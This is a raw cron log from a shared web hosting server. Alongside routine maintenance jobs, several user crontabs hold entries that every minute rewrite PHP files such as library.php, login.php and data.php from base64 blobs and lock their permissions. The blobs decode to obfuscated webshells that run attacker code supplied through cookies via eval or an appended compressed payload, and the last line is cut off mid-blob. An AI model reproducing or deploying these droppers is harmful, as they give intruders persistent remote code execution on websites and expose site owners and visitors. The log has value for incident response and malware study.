Mar  1 16:00:02 medusa CROND[10367]: (root) CMD (/usr/bin/flock -n /var/run/cpapi_cache_upd_lock /opt/cloudlinux/venv/bin/python3 -c "from clcommon.cpapi import invalidate_cpapi_cache; invalidate_cpapi_cache()" &> /dev/null)
Mar  1 16:00:02 medusa CROND[10393]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 16:00:02 medusa CROND[10416]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 16:01:01 medusa CROND[804]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 16:01:01 medusa CROND[910]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:01:01 medusa CROND[911]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 16:01:01 medusa CROND[914]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 16:01:01 medusa CROND[915]: (root) CMD (run-parts /etc/cron.hourly)
Mar  1 16:01:01 medusa CROND[916]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 16:01:01 medusa CROND[917]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 16:01:01 medusa CROND[920]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 16:01:01 medusa CROND[933]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 16:01:01 medusa CROND[945]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:01:01 medusa CROND[963]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:01:01 medusa CROND[964]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:01:01 medusa CROND[967]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 16:01:01 medusa CROND[969]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 16:01:01 medusa run-parts(/etc/cron.hourly)[915]: starting 0anacron
Mar  1 16:01:02 medusa run-parts(/etc/cron.hourly)[1319]: finished 0anacron
Mar  1 16:02:01 medusa CROND[24187]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 16:02:01 medusa CROND[24273]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 16:02:01 medusa CROND[24305]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 16:02:01 medusa CROND[24307]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 16:02:01 medusa CROND[24310]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 16:02:01 medusa CROND[24309]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 16:02:01 medusa CROND[24311]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:02:01 medusa CROND[24313]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 16:02:01 medusa CROND[24315]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 16:02:01 medusa CROND[24316]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:02:01 medusa CROND[24322]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 16:02:01 medusa CROND[24323]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:02:01 medusa CROND[24324]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:03:01 medusa CROND[15140]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 16:03:01 medusa CROND[15219]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 16:03:01 medusa CROND[15222]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 16:03:01 medusa CROND[15221]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 16:03:01 medusa CROND[15224]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 16:03:01 medusa CROND[15226]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 16:03:01 medusa CROND[15229]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9